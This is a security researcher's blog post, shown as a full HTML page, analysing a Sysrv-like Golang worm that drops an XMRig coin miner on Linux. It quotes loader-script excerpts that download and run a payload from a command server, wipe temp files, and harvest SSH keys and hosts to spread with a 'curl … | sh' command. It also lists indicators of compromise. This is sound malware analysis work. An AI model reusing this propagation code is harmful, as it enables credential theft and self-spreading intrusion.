<!DOCTYPE html>
<html lang="en">
<!-- Beautiful Jekyll 5.0.0 | Copyright Dean Attali 2020 -->
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  

  

  <title>Not Another Coin Miner</title>

  
  <meta name="author" content="Steven Folek">
  

  <meta name="description" content="The Exposed Vuln Catches The Worm">

  

  
  <meta name="keywords" content="cyber,security,analysis,infosec">
  

  
  <link rel="alternate" type="application/rss+xml" title="UltimaCybr" href="https://ultimacybr.co.uk/feed.xml">
  

  
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-BRXE6Y386P"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());
  gtag('config', 'G-BRXE6Y386P');
</script>


  

  

  


  
    
      
  <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">


    
      
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">


    
      
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic">


    
      
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800">


    
  

  
    
      <link rel="stylesheet" href="/assets/css/bootstrap-social.css">
    
      <link rel="stylesheet" href="/assets/css/beautifuljekyll.css">
    
  

  

  
  
  

  

  
  <meta property="og:site_name" content="UltimaCybr">
  <meta property="og:title" content="Not Another Coin Miner">
  <meta property="og:description" content="The Exposed Vuln Catches The Worm">

  
  <meta property="og:image" content="https://ultimacybr.co.uk/assets/img/sysrv/sus_gopher.png">
  

  
  <meta property="og:type" content="article">
  <meta property="og:article:author" content="Steven Folek">
  <meta property="og:article:published_time" content="2023-10-04T00:00:00+01:00">
  <meta property="og:url" content="https://ultimacybr.co.uk/2023-10-04-Sysrv/">
  <link rel="canonical" href="https://ultimacybr.co.uk/2023-10-04-Sysrv/">
  

  
  <meta name="twitter:card" content="summary_large_image">
  
  <meta name="twitter:site" content="@Pir00t">
  <meta name="twitter:creator" content="@Pir00t">

  <meta property="twitter:title" content="Not Another Coin Miner">
  <meta property="twitter:description" content="The Exposed Vuln Catches The Worm">

  
  <meta name="twitter:image" content="https://ultimacybr.co.uk/assets/img/sysrv/sus_gopher.png">
  

  


  

  

</head>


<body>

  


  <nav class="navbar navbar-expand-xl navbar-light fixed-top navbar-custom top-nav-regular"><a class="navbar-brand" href="https://ultimacybr.co.uk/">UltimaCybr</a><button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#main-navbar" aria-controls="main-navbar" aria-expanded="false" aria-label="Toggle navigation">
    <span class="navbar-toggler-icon"></span>
  </button>

  <div class="collapse navbar-collapse" id="main-navbar">
    <ul class="navbar-nav ml-auto">
          <li class="nav-item">
            <a class="nav-link" href="/aboutme">About Me</a>
          </li>
          <li class="nav-item dropdown">
            <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Writeups</a>
            <div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDropdown">
                  <a class="dropdown-item" href="/hctf23_main">Huntress 2023</a>
            </div>
          </li>
        
          <li class="nav-item dropdown">
            <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Resources</a>
            <div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDropdown">
                  <a class="dropdown-item" href="/blog_init">Blog Setup</a>
                  <a class="dropdown-item" href="/ctf_resources">CTF / Learning</a>
            </div>
          </li>
        
          <li class="nav-item">
            <a class="nav-link" href="https://github.com/Pir00t/">Pir00t Github</a>
          </li>
        <li class="nav-item">
          <a class="nav-link" id="nav-search-link" href="#" title="Search">
            <span id="nav-search-icon" class="fa fa-search"></span>
            <span id="nav-search-text">Search</span>
          </a>
        </li></ul>
  </div>

  

  
    <div class="avatar-container">
      <div class="avatar-img-border">
        <a href="https://ultimacybr.co.uk/">
          <img alt="Navigation bar avatar" class="avatar-img" src="/assets/img/think.png" />
        </a>
      </div>
    </div>
  

</nav>



<div id="beautifuljekyll-search-overlay">

  <div id="nav-search-exit" title="Exit search">✕</div>
  <input type="text" id="nav-search-input" placeholder="Search">
  <ul id="search-results-container"></ul>
  
  <script src="https://unpkg.com/simple-jekyll-search@latest/dest/simple-jekyll-search.min.js"></script>
  <script>
    var searchjson = '[ \
       \
        { \
          "title"    : "Linux Malware Lab 101 - P1", \
          "category" : "firewalllinuxmalwarereverse engineering", \
          "url"      : "/2024-02-23-Vbox_mlwrlab/", \
          "date"     : "February 23, 2024" \
        }, \
       \
        { \
          "title"    : "Not Another Coin Miner", \
          "category" : "golanglinuxmalwarereverse engineeringvulnerability", \
          "url"      : "/2023-10-04-Sysrv/", \
          "date"     : "October  4, 2023" \
        }, \
       \
        { \
          "title"    : "CVE-2023-35829-POC", \
          "category" : "linuxmalwarereverse engineeringvulnerability", \
          "url"      : "/2023-07-07-CVE_2023_35829/", \
          "date"     : "July  7, 2023" \
        }, \
       \
        { \
          "title"    : "LTDH23", \
          "category" : "generalconferences", \
          "url"      : "/2023-04-28-ltdh23/", \
          "date"     : "April 28, 2023" \
        }, \
       \
        { \
          "title"    : "UltimaCybr Reborn", \
          "category" : "general", \
          "url"      : "/2023-04-27-reboot/", \
          "date"     : "April 27, 2023" \
        }, \
       \
       \
        { \
          "title"    : "About me", \
          "category" : "page", \
          "url"      : "/aboutme/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Blog Quickstart", \
          "category" : "general", \
          "url"      : "/blog_init/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "CTF &amp; Learning", \
          "category" : "CTFLearning", \
          "url"      : "/ctf_resources/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Huntress CTF 2023", \
          "category" : "CTFLearningHuntress", \
          "url"      : "/hctf23_main/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Huntress CTF 23 Forensics", \
          "category" : "CTFLearningForensics", \
          "url"      : "/assets/writeups/huntress23_forensic/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Huntress CTF 23 Malware", \
          "category" : "CTFLearningMalware", \
          "url"      : "/assets/writeups/huntress23_malware/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Huntress CTF 23 Misc", \
          "category" : "CTFLearningMisc", \
          "url"      : "/assets/writeups/huntress23_misc/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Huntress CTF 23 OSINT", \
          "category" : "CTFLearningWarmups", \
          "url"      : "/assets/writeups/huntress23_osint/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Huntress CTF 23 Stego", \
          "category" : "CTFLearningStego", \
          "url"      : "/assets/writeups/huntress23_stego/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Huntress CTF 23 Warmups", \
          "category" : "CTFLearningWarmups", \
          "url"      : "/assets/writeups/huntress23_warmup/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "UltimaCybr", \
          "category" : "page", \
          "url"      : "/", \
          "date"     : "January 1, 1970" \
        }, \
       \
        { \
          "title"    : "Tag Index", \
          "category" : "page", \
          "url"      : "/tags/", \
          "date"     : "January 1, 1970" \
        } \
       \
    ]';
    searchjson = JSON.parse(searchjson);

    var sjs = SimpleJekyllSearch({
      searchInput: document.getElementById('nav-search-input'),
      resultsContainer: document.getElementById('search-results-container'),
      json: searchjson
    });
  </script>
</div>





  <!-- TODO this file has become a mess, refactor it -->






  <div id="header-big-imgs" data-num-img=1
    
    
    
      
      data-img-src-1="https://ultimacybr.co.uk/assets/img/sysrv/worm_art.jpg"
    
    
    
  ></div>


<header class="header-section has-img">

<div class="big-img intro-header">
  <div class="container-md">
    <div class="row">
      <div class="col-xl-8 offset-xl-2 col-lg-10 offset-lg-1">
        <div class="post-heading">
          <h1>Not Another Coin Miner</h1>
          
            
              <h2 class="post-subheading">The Exposed Vuln Catches The Worm</h2>
            
          

          
            <span class="post-meta">Posted on October 4, 2023</span>
            
            
          
        </div>
      </div>
    </div>
  </div>
  <span class='img-desc'></span>
</div>

<div class="intro-header no-img">
  <div class="container-md">
    <div class="row">
      <div class="col-xl-8 offset-xl-2 col-lg-10 offset-lg-1">
        <div class="post-heading">
          <h1>Not Another Coin Miner</h1>
          
            
              <h2 class="post-subheading">The Exposed Vuln Catches The Worm</h2>
            
          

          
            <span class="post-meta">Posted on October 4, 2023</span>
            
            
          
        </div>
      </div>
    </div>
  </div>
</div>
</header>





<div class=" container-md ">
  <div class="row">
    <div class=" col-xl-8 offset-xl-2 col-lg-10 offset-lg-1 ">

      

      

      <article role="main" class="blog-post">
        <p>Recently, I’ve investigated a couple of coin mining cases which stood out a little differently to the usual ones I see. For one, the miner had been deleted and no config was present on disk. In one instance, a suspicious <em>cronjob</em> was removed and the suspicious random named process killed. However, things kept on reoccuring after reboots. Add to this a raft of suspicious network connections from these random processes, SSH inbound/outbound and a couple of connections to one IP in particular using ports 80/8080 suggests a bit more tradecraft at work here.</p>

<blockquote>
  <p>The focus of this post takes a little look at Sysrv and the likely connections, before diving into the coin miner and related activity from a Linux perspective.</p>
</blockquote>

<h1 id="sysrv--sysrv-k---a-very-quick-intro">Sysrv / Sysrv-K - A very quick intro</h1>

<p>Sysrv is a botnet written in Golang (Go), with worm capabilities that drops XMRig crypto miner onto vulnerable hosts (both Linux and Windows). Iterations have taken advantage of weak passwords and variety of vulnerabilities for different services, including but not limited to: <em>MySQL, Tomcat, Jenkins, WebLogic and WordPress plugins</em>.</p>

<p>The botnet was first identified back in December 2020 <sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>, with a good deep dive by Cujo AI published in September 2021 <sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>. More recently in May 2022 (I know, over a year ago!), Microsoft published <del>a Tweet</del> what is now an ‘X’ highlighting a new variant that they dubbed Sysrv-K <sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>. The updated variant discussed by Microsoft points out that Sysrv continue to update the worm with additional, newer exploits on top of the old ones and added a Telegram bot capability.</p>

<p>I haven’t come across any newer blog posts on the subject of Sysrv(-K) that offer an update on capabilities, hence this post (if you read this and know of any other blogs or research on the topic reach out!).</p>

<blockquote>
  <p>I should say it could just be that another actor is utilising the Sysrv binaries for their own ends, similar to what has been witnessed with other botnets such as Tsunami.</p>
</blockquote>

<h1 id="technical-analysis">Technical Analysis</h1>

<p>As highlighted at the beginning of this post, focus will be on the Linux binary for analysis. However, the loader script for Windows has also been provided.</p>

<h2 id="loader-scripts">Loader Scripts</h2>

<p>The loader scripts have not changed much over the years. They utilise the same names <em>ldr.sh</em> / <em>ldr.ps1</em> as previous variants, and generally contain the same format and functionality.</p>

<p><img src="/assets/img/sysrv/ldr_sh.jpg" alt="ldr.sh" /></p>

<p>Some key points in the snippet above:</p>

<ul>
  <li>Payload IP is hardcoded</li>
  <li>Generate a unique ID (used later to name the binary download)</li>
  <li>Attempts to disable / create basic Firewall rules</li>
  <li>Defence evasion</li>
  <li>Search for other miner like cron jobs, mounts and processes to be killed</li>
</ul>

<p>The script checks to see if there is already an instance of <em>kthreaddk</em> running; before requesting the payload if it isn’t. Once downloaded, the binary is run with <code class="language-plaintext highlighter-rouge">nohup</code> and any output suppressed. Clean up is performed after this step of <em>/tmp</em> directories and the payload binary.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps <span class="nt">-ef</span> | <span class="nb">grep</span> <span class="nt">-v</span> bash | <span class="nb">grep </span>kthreaddk | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nb">grep
</span><span class="k">if</span> <span class="o">[</span> <span class="nv">$?</span> <span class="nt">-ne</span> 0 <span class="o">]</span><span class="p">;</span> <span class="k">then
  </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">".:</span><span class="nv">$PATH</span><span class="s2">"</span>
  get <span class="nv">$cc</span>/sys.<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span> <span class="nv">$sys</span>
  <span class="nb">nohup</span> <span class="nv">$sys</span> 1&gt;/dev/null 2&gt;&amp;1 &amp;
  <span class="nb">sleep </span>1
<span class="k">fi
</span><span class="nb">rm</span> <span class="nt">-rf</span> /var/tmp/<span class="k">*</span> /var/tmp/.<span class="k">*</span> /tmp/<span class="k">*</span> /tmp/.<span class="k">*</span> <span class="nv">$sys</span> dlr
</code></pre></div></div>

<p>There is also a section to gather user, host and SSH key data which the script will then use to try and propagate itself to additional hosts.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">_sig</span><span class="o">=</span><span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/.localssh"</span>
<span class="k">if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-f</span> <span class="nv">$_sig</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">touch</span> <span class="nv">$_sig</span>
<span class="nv">KEYS</span><span class="o">=</span><span class="si">$(</span>find ~/ /root /home <span class="nt">-maxdepth</span> 2 <span class="nt">-name</span> <span class="s1">'id_rsa*'</span>|grep <span class="nt">-vw</span> pub<span class="si">)</span>
<span class="nv">KEYS2</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> ~/.ssh/config /home/<span class="k">*</span>/.ssh/config /root/.ssh/config|grep IdentityFile|awk <span class="nt">-F</span> <span class="s2">"IdentityFile"</span> <span class="s1">'{print $2 }'</span><span class="si">)</span>
<span class="nv">KEYS3</span><span class="o">=</span><span class="si">$(</span>find ~/ /root /home <span class="nt">-maxdepth</span> 3 <span class="nt">-name</span> <span class="s1">'*.pem'</span>|uniq<span class="si">)</span>
<span class="nv">HOSTS</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> ~/.ssh/config /home/<span class="k">*</span>/.ssh/config /root/.ssh/config|grep HostName|awk <span class="nt">-F</span> <span class="s2">"HostName"</span> <span class="s1">'{print $2}'</span><span class="si">)</span>
<span class="nv">HOSTS2</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> ~/.bash_history /home/<span class="k">*</span>/.bash_history /root/.bash_history|grep <span class="nt">-E</span> <span class="s2">"(ssh|scp)"</span>|grep <span class="nt">-oP</span> <span class="s2">"([0-9]{1,3}</span><span class="se">\.</span><span class="s2">){3}[0-9]{1,3}"</span><span class="si">)</span>
<span class="nv">HOSTS3</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> ~/<span class="k">*</span>/.ssh/known_hosts /home/<span class="k">*</span>/.ssh/known_hosts /root/.ssh/known_hosts|grep <span class="nt">-oP</span> <span class="s2">"([0-9]{1,3}</span><span class="se">\.</span><span class="s2">){3}[0-9]{1,3}"</span>|uniq<span class="si">)</span>
<span class="nv">USERZ</span><span class="o">=</span><span class="si">$(</span>
    <span class="nb">echo </span>root
    find ~/ /root /home <span class="nt">-maxdepth</span> 2 <span class="nt">-name</span> <span class="s1">'\.ssh'</span>|uniq|xargs find|awk <span class="s1">'/id_rsa/'</span>|awk <span class="nt">-F</span><span class="s1">'/'</span> <span class="s1">'{print $3}'</span>|uniq|grep <span class="nt">-v</span> <span class="s2">"</span><span class="se">\.</span><span class="s2">ssh"</span>
<span class="si">)</span>
<span class="nb">users</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nv">$USERZ</span>|tr <span class="s1">' '</span> <span class="s1">'\n'</span>|nl|sort <span class="nt">-u</span> <span class="nt">-k2</span>|sort <span class="nt">-n</span>|cut <span class="nt">-f2-</span><span class="si">)</span>
<span class="nv">hosts</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$HOSTS</span><span class="s2"> </span><span class="nv">$HOSTS2</span><span class="s2"> </span><span class="nv">$HOSTS3</span><span class="s2">"</span>|grep <span class="nt">-vw</span> 127.0.0.1|tr <span class="s1">' '</span> <span class="s1">'\n'</span>|nl|sort <span class="nt">-u</span> <span class="nt">-k2</span>|sort <span class="nt">-n</span>|cut <span class="nt">-f2-</span><span class="si">)</span>
<span class="nv">keys</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$KEYS</span><span class="s2"> </span><span class="nv">$KEYS2</span><span class="s2"> </span><span class="nv">$KEYS3</span><span class="s2">"</span>|tr <span class="s1">' '</span> <span class="s1">'\n'</span>|nl|sort <span class="nt">-u</span> <span class="nt">-k2</span>|sort <span class="nt">-n</span>|cut <span class="nt">-f2-</span><span class="si">)</span>
<span class="k">for </span>user <span class="k">in</span> <span class="nv">$users</span><span class="p">;</span> <span class="k">do
    for </span>host <span class="k">in</span> <span class="nv">$hosts</span><span class="p">;</span> <span class="k">do
        for </span>key <span class="k">in</span> <span class="nv">$keys</span><span class="p">;</span> <span class="k">do
            </span><span class="nb">chmod</span> +r <span class="nv">$key</span><span class="p">;</span> <span class="nb">chmod </span>400 <span class="nv">$key</span>
            ssh <span class="nt">-oStrictHostKeyChecking</span><span class="o">=</span>no <span class="nt">-oBatchMode</span><span class="o">=</span><span class="nb">yes</span> <span class="nt">-oConnectTimeout</span><span class="o">=</span>5 <span class="nt">-i</span> <span class="nv">$key</span> <span class="nv">$user</span>@<span class="nv">$host</span> <span class="s2">"(curl </span><span class="nv">$cc</span><span class="s2">/ldr.sh||wget -O- </span><span class="nv">$cc</span><span class="s2">/ldr.sh)|sh"</span>
        <span class="k">done
    done
done
fi</span>
</code></pre></div></div>

<p>Additional items to note:</p>

<ul>
  <li>Disable / Remove AV &amp; management agents
    <ul>
      <li>Aliyun</li>
      <li>BCM</li>
      <li>Tencent</li>
    </ul>
  </li>
  <li>Other clean up
    <ul>
      <li>mail/root</li>
      <li>wtmp</li>
      <li>secure</li>
      <li>cron</li>
    </ul>
  </li>
</ul>

<p><img src="/assets/img/sysrv/ldr_ps1.jpg" alt="ldr.ps1" /></p>

<p>Similar to the Linux loader, the Windows version has the following:</p>

<ul>
  <li>Payload IP hardcoded</li>
  <li>Generates a unique ID (used later to name the binary download)
    <ul>
      <li>Different on every run as it uses <code class="language-plaintext highlighter-rouge">date</code></li>
    </ul>
  </li>
  <li>Hardcoded path for the payload</li>
  <li>Disables firewall</li>
  <li>Search for other miner like processes to be killed</li>
  <li>Persistence
    <ul>
      <li>Scheduled Task</li>
      <li>Registry ‘Run’ key</li>
    </ul>
  </li>
</ul>

<p><em>The loader scripts can be found on on my GitHub repo <a href="https://github.com/Pir00t/maybe_sysrv">here</a></em></p>

<h2 id="sysx86_64">sys.x86_64</h2>

<p>The sample analysed is a UPX packed, 64-bit ELF binary and can be found on VirusTotal:</p>

<p><a href="https://www.virustotal.com/gui/file/847d80d87549a0e3995816ad60c82464bb9d8823013beb832f5b31a2e4ef0445/details">Packed</a><br />
<a href="https://www.virustotal.com/gui/file/9d9150e2def883bdaa588b47cf5300934ef952bea3acd5ad0e86e1deaa7d89c5/details">Unpacked</a></p>

<p>Both were first submitted back in January 2023, and have had recent submissions over the last couple of months. A couple of things to point out here:</p>
<ul>
  <li>Unpacked = 12.5MB!</li>
  <li>Submission names are “mostly” randomised (6 alphanumeric characters in length as per the loader script)</li>
</ul>

<p>Given the size of the file and due to time constraints, I started with some dynamic analysis on this one to understand the behaviours I’d established during my forensics investigation. For reference, the main behaviour spotted was:</p>

<ul>
  <li>Spawned kthreaddk (file deleted but data in /proc)</li>
  <li>Crontab entry pointing to the payload to run every minute</li>
  <li>Network activity
    <ul>
      <li>Inbound/Outbound SSH connections so suspicious IP’s</li>
      <li>kthreaddk connecting back to the payload IP on port 8080</li>
    </ul>
  </li>
</ul>

<p>Given the details established in the loader script it can be presumed that <em>kthreaddk</em> is a coin miner.</p>

<h3 id="dynamic-analysis">Dynamic Analysis</h3>

<p>Having a starting point, I setup my Linux VM to accomplish the following before detonating the binary:</p>

<ul>
  <li>Run Wireshark</li>
  <li>Monitor
    <ul>
      <li>crontab</li>
      <li>netstat</li>
      <li>top</li>
    </ul>
  </li>
</ul>

<h4 id="initial-run">Initial Run</h4>

<p>What I immediately noticed in the <code class="language-plaintext highlighter-rouge">top</code> output was an instance of <em>kthreaddk</em> being spawned…and then stopped just as quick. There was no Wireshark traffic though netstat did update to show a the <em>sys.x86_64</em> binary listening for tcp6 activity.</p>

<p>Also of interest was a new crontab entry…but not for long:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">*</span> <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> /home/remnux/.cache/mozilla/firefox/b5quf9ce.default-release/settings/302blc
</code></pre></div></div>

<p><strong>Persistent aren’t we</strong></p>

<p>While taking a moment to remember I had no external network or simulation enabled in my VM, I noticed the crontab entry change its path. Intrigued, I kept an eye on it and again, it changed. Turns out every 60 seconds, the cronjob would be rewritten to provide a new path and the file in the previous path would also be (re)moved. With the timing down, I managed to take a copy of the binary referenced in the crontab upon a refresh, which upon taking its checksum was a copy of <em>sys.x86_64</em>.</p>

<p>For those interested, I utilised the following command to monitor for crontab changes:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>watch <span class="nt">-n</span> 10 crontab <span class="nt">-l</span>
</code></pre></div></div>

<h4 id="take-two">Take Two</h4>

<p>This time I ran the binary via a network connected sandbox and…</p>

<p>Success! The coin miner stayed running and <code class="language-plaintext highlighter-rouge">Wireshark</code> sprung to life, attempting to send (mostly) SYN packets to a number of IP addresses targeting various ports. I’ll provide the unique IP/PORT combos on my repo <a href="https://github.com/Pir00t/maybe_sysrv/blob/main/ip_port_stats.txt">here</a>.</p>

<p><strong>Pulling that kthreaddk</strong></p>

<p>Now that I had <em>kthreaddk</em> in my sights, I just had to catch it! I setup a <code class="language-plaintext highlighter-rouge">watch</code> for new files being created anywhere in <em>/home/user</em> and noticed on each fresh run that the binary would get dropped to a random path along with <em>config.json</em>. However, by the time I browsed to these paths the files were gone! I tried some tools such as <code class="language-plaintext highlighter-rouge">inotify</code> for file creation monitoring to then copy the file with no success. I also attempted using <code class="language-plaintext highlighter-rouge">auditd</code> and a Python script to perform a similar monitor/copy function to no avail.</p>

<p>So, what now… well my trusty <code class="language-plaintext highlighter-rouge">watch</code> commands have proved fruitful so far. So I crafted another one to utilise <code class="language-plaintext highlighter-rouge">find</code> for new files and copy anything to a “safe” directory:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>watch <span class="nt">-n</span> 1 find ~ <span class="nt">-type</span> f <span class="nt">-name</span> <span class="se">\"</span><span class="k">*</span><span class="o">[</span>^.]<span class="k">*</span><span class="se">\"</span> <span class="nt">-mmin</span> 0.25 <span class="nt">-exec</span> <span class="nb">cp</span> <span class="nt">-t</span> working/output <span class="o">{}</span> +
</code></pre></div></div>

<p>Finally, a bite. I managed to grab the coin miner and its config before they were deleted! Here is the VirusTotal <a href="https://www.virustotal.com/gui/file/0ad68d5804804c25a6f6f3d87cc3a3886583f69b7115ba01ab7c6dd96a186404">link</a> for the miner.</p>

<p>Reviewing <em>config.json</em> adds weight to the Sysrv link with the miner looking to proxy traffic back via the payload URL on port 8080 as outlined as <em>“Case 5”</em> in the Cujo deep dive blog<sup id="fnref:2:1" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>.</p>

<h3 id="static-analysis-ghidra">Static Analysis (Ghidra)</h3>

<p>I won’t be doing a deep dive here as that could take another post (or two!), but I’ll touch on a few functions I reviewed that validated the behaviour seen in my dynamic analysis.</p>

<h4 id="prerequisites">Prerequisites</h4>

<p>There are a few steps required to start static analysis:</p>

<ul>
  <li>Unpack using <em>upx -d file</em></li>
  <li>Some good Ghidra scripts to parse the unpacked Go binary <sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> <sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup></li>
</ul>

<blockquote>
  <p>There are some new Golang features in the latest Ghidra but I’d already done my analysis by this point so can’t comment how useful they may have been</p>
</blockquote>

<p>A quick check of the binary with <code class="language-plaintext highlighter-rouge">checksec</code> shows that it unlikely uses ASLR so any function addresses should be persistent for analysis.</p>

<h4 id="functions-recovered">Functions Recovered</h4>

<p>Having recovered function names with Ghidra scripts, the main function is established:</p>

<ul>
  <li>main.main @ 00703b30</li>
</ul>

<p>As seen in the Cujo blog and another older post by Juniper Networks <sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup>, a large portion of key functions start with shell like so:</p>

<ul>
  <li>shell/exploit.*</li>
  <li>shell/miner.*</li>
  <li>shell/nu.*</li>
  <li>shell/scanner.*</li>
</ul>

<p>Unlike previous writeups however, CVE name/numbers have mostly been removed or likely obfuscated. Though from the naming that can be seen, there is a few related to <strong>WordPress</strong> - a full list of shell functions can be found <a href="https://github.com/Pir00t/maybe_sysrv/blob/main/sys_x86_64_funcs.txt">here</a>.</p>

<h4 id="validate-dynamic-analysis">Validate Dynamic Analysis</h4>

<p>Thankfully some functions have useful names and help with the validation theory, such as:</p>

<ul>
  <li>shell/miner.findWritableDir</li>
  <li>shell/miner.findWritableDir.func1</li>
  <li>shell/miner.findWritableDir.func2</li>
  <li>shell/scanner.(*Scanner).Scan</li>
  <li>shell/scanner.(*Scanner).sendSynPkt</li>
</ul>

<p>While not a full process flow from <strong>main.main</strong> the following highlights loosely some functions that are used and linked to the behaviour witnessed:</p>

<p><code class="language-plaintext highlighter-rouge">main.main &gt; shell/exploit.Run &gt; shell/exploit.(*__40ad2).Run</code></p>

<p>Within <strong>shell/exploit.(*__40ad2).Run</strong> is where things kick off a bit; with a new scanner setup, the coin miner started and a heartbeat as referenced in the screenshot below:</p>

<p><img src="/assets/img/sysrv/exploit_ghidra.png" alt="exploit_fun" /></p>

<p>The function also helps give an insight into the use of Go besides the fact it can be cross platform. The calls to <code class="language-plaintext highlighter-rouge">runtime.newproc</code> are responsible for allocating a new stack for a goroutine.</p>

<blockquote>
  <p>In Go, each goroutine has its own stack space. When a new goroutine is created, a new stack is allocated to it to provide a separate execution context. This allows goroutines to execute concurrently without interfering with each other’s memory.</p>
</blockquote>

<p>I’ll stop here for this post as there is a bit to take in. Overall, I feel that there were enough similarities in loaders, code and functionality compared to other published analysis to tag this with Sysrv / Sysrv-K.</p>

<p>If the appetite is there, I would consider diving a bit deeper into the binary itself, but for now I don’t have any spare threads myself to do so!</p>

<hr />
<h1 id="recommendations">Recommendations</h1>

<p><strong>PATCH, PATCH, PATCH</strong>; So many of these worms/coin miner families can be avoided by patching systems. On top of that, a good asset inventory and regular scanning of your public IP ranges will help. So often it’s a rogue one (and no I don’t mean Star Wars) that gets popped.</p>

<hr />
<h1 id="iocs">IoCs</h1>

<p><strong>Exploit URLs:</strong><br />
hxxp://194.38.23.2/poc.xml<br />
hxxp://194.38.23.2/pocwin.xml</p>

<p><strong>Loader scripts (SHA256):</strong>
bcb6c969aca3f6170299a26388f4f3549f8c3626335588236828fa3c6fa15b71  ldr.ps1
832c8adffce442b0c5b9e4d6d5b8fbb101d36fe697ae1392ca0018c4511de44f  ldr.sh</p>

<p><strong>Payload IPs:</strong><br />
194[.]38[.]23[.]2</p>

<p>+++++
UPDATE 06/10/23
+++++</p>

<p>194[.]145[.]227[.]21 - Thanks to Chris Duggan @TLP_R3D for flagging this related IP.</p>

<p>Both IPs have the same ASN (<em>AS 48693 (Rices Privately owned enterprise )</em>) and upon checking, there is a whole load of “<em>bad</em>” IPs there that seem to be dropping the same loaders and payloads (some appear to match naming of other actors so may be different exploits/bots but unconfirmed). I’ve pulled the first 60 with detections from VirusTotal and posted them for reference <a href="https://github.com/Pir00t/maybe_sysrv/blob/main/asn_related_ips.txt">here</a>.</p>

<p><strong>sys.x86_64 (SHA256):</strong><br />
847d80d87549a0e3995816ad60c82464bb9d8823013beb832f5b31a2e4ef0445  packed
9d9150e2def883bdaa588b47cf5300934ef952bea3acd5ad0e86e1deaa7d89c5  unpacked</p>

<p><strong>sys.exe (SHA256):</strong>
39be5aa02d074dcecebe251d3f5a62073620c340901128bb751404b17770d9be  sys.exe</p>

<p><strong>kthreaddk (SHA256):</strong>
0ad68d5804804c25a6f6f3d87cc3a3886583f69b7115ba01ab7c6dd96a186404</p>

<p><strong>config.json (SHA256):</strong>
37f387ef7fd9087a4e2ac7bb30528943f966e1fae8d55f3dd941dde9489a1302</p>

<p><strong>Pool URLs:</strong>
194[.]38[.]23[.]2:8080</p>

<p><strong>Files/Persistence</strong></p>

<table>
  <thead>
    <tr>
      <th>File / Persistence</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>* * * * * <path>/<worm></worm></path></td>
      <td>Randomised path to worm, runs every minute</td>
    </tr>
    <tr>
      <td>/var/spool/cron/crontabs/<user></user></td>
      <td>Rewritten every minute with new path in format above</td>
    </tr>
    <tr>
      <td>kthreaddk</td>
      <td>XMRig coin miner - dropped in a random writable path then deleted once running</td>
    </tr>
    <tr>
      <td>sys.x86_64</td>
      <td>Linux Sysrv binary - Normally given random name based on Loader script function</td>
    </tr>
    <tr>
